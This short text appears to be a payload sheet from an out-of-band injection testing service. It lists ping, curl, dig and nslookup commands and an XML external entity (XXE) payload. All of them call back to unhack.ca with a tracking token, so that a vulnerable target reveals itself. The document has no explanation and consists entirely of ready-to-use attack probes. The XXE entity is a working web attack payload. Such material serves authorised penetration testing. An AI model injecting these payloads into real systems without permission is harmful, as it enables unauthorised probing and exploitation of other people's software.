$ ping -c1 -p 00d3c6ecfcca876708496aa9b9bef000 unhack.ca
 

$ curl http://unhack.ca/p/d3c6ecfcca876708496aa9b9bef0
 

$ dig d3c6ecfcca876708496aa9b9bef0 @unhack.ca
 

$ dig d3c6ecfcca876708496aa9b9bef0.ns.unhack.ca
 

C:\> nslookup d3c6ecfcca876708496aa9b9bef0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d3c6ecfcca876708496aa9b9bef0">]>
    <foo>&xxe;</foo>